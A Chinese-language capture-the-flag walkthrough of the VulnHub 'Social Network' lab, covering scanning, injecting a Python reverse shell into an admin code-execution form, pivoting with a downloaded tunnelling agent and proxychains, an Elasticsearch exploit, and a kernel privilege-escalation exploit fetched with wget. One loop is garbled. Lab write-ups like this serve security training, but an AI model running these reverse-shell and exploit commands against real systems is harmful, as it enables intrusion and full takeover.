靶场下载地址:http://www.vulnhub.com/entry/boredhackerblog-social-network,454/
主机发现
nmap 192.168.56.0/24
端口扫描
对靶机全端口扫描nmap -p- 192.168.56.0/24
服务扫描
查看端口运行的的服务,Werkzeug为基于python开发的底层框架,后端开发为python,后续利用python脚本反弹shell,获取控制权
漏洞发现
打开浏览器,是一个社交网站,通过网站可以匿名发布信息,首先可对该页面进行安全性探测,并没有发现漏洞
接下来对隐藏路径进行发现(常规操作),利用dirsearch路径爬取工具(apt install dirsearch),dirsearch -u http://192.168.56.101:5000
漏洞利用
进入发现的目录http://192.168.56.101:5000/admin,利用python的代码执行功能,向表单中注入一段python代码触发反弹shell
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.56.103",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
先kali启动侦听 nc -nvlp 4444,后执行反弹shell代码
点击代码执行test code,反连成功
查看权限发现为root权限,当前目录下有dockerfile这个目录,进一步证实当前root权限是否属于docker系统
如何辨别docker容器:
ls /.dockerenv(.dockerenv文件存在,说明本系统为docker系统)
cat /proc/1/cgroup如下也可说明为docker容器
查看当前docker的ip地址,发现内网网段inet addr:172.17.0.3 Bcast:172.17.255.255 Mask:255.255.0.0,接下来在内网进行主机的发现。
for i in
(
s
e
q
110
)
;
d
o
p
i
n
g
−
c
1172.17.0.
(seq 1 10); do ping -c 1 172.17.0.
(seq110);doping−c1172.17.0.i; done
发现172.17.0.1/172.17.0.2为存活主机
内网穿透
需将agent_linux_x64客户端程序送至到目标主机上
首先、运行服务端./admin_linux_x64 -lport 9999 开启监听端口
在当前目录发布一个http服务,端口80
在目标主机访问http服务 wget http://192.168.56.103:80/agent_linux_x64,文件已下载到目标主机,chmod +x agent_linux_x64赋予执行权限
执行反链指令:./agent_linux_x64 -rhost192.168.56.103 9999
在此节点启动sock侦听,端口1080,启动了在1080端口上侦听的socks代理。为了kali的工具对内网有作用,需proxychains4工具,将其代理端口更改为socks的1080(vi /etc/proxychains4.conf)
挂上proxychain,使用nmap对内网172.17.0.1进行扫描,proxychains4 nmap -Pn -sT 172.17.0.1
proxychains4 nmap -p22,5000 -Pn -sT -sV 172.17.0.1
proxychains4 nmap -p9200 -Pn -sT -sV 172.17.0.2,扫描另一台容器
使用searchsploit Elasticsearch,发现相关漏洞
将攻击脚本复制到当前目录,cp /usr/share/exploitdb/exploits/linux/remote/36337.py . 查看内容,为python2编写
proxychains4 python2 36337.py 172.17.0.2 反弹shell
查看密码文件夹中的数据,破解,得到john,1337hack
提权
使用当前密码ssh登陆192.168.56.101 ssh john@192.168.56.101
sudo -s
ssh连接成功后,返回内核版本,利用其内核漏洞提权 Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic x86_64)或命令查询uname -a
searchsploit linux 3.13搜索是否有内核漏洞
cp /usr/share/exploitdb/exploits/linux/local/37292.c . 将攻击脚本拷贝到当前目录,查看源代码后发现是c语言编写,查看使用说明,执行前需要编译操作,目标主句没有编译工具的时候,在本地编译好,直接在反弹shell中执行
当前文件在文件执过程中再次调用gcc,当前代码是将c语言库文件编译成二进制so文件
解决方法:直接从kali找到编译好的库文件,将原文件中的涉及库文件编码的程序删除掉,重新编译
gcc -o exp 37292.c 编译更改后的源码
locate ofs-lib.so 根据文件名称定位编译好的库文件
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so . 将文件拷贝到当前目录
在当前目录下启用http服务,python3 -m http.server 80
wget http://192.168.56.103 exp
wget http://192.168.56.103 ofs-lib.so
将文件拷贝到tmp目录下赋予执行权限
./exp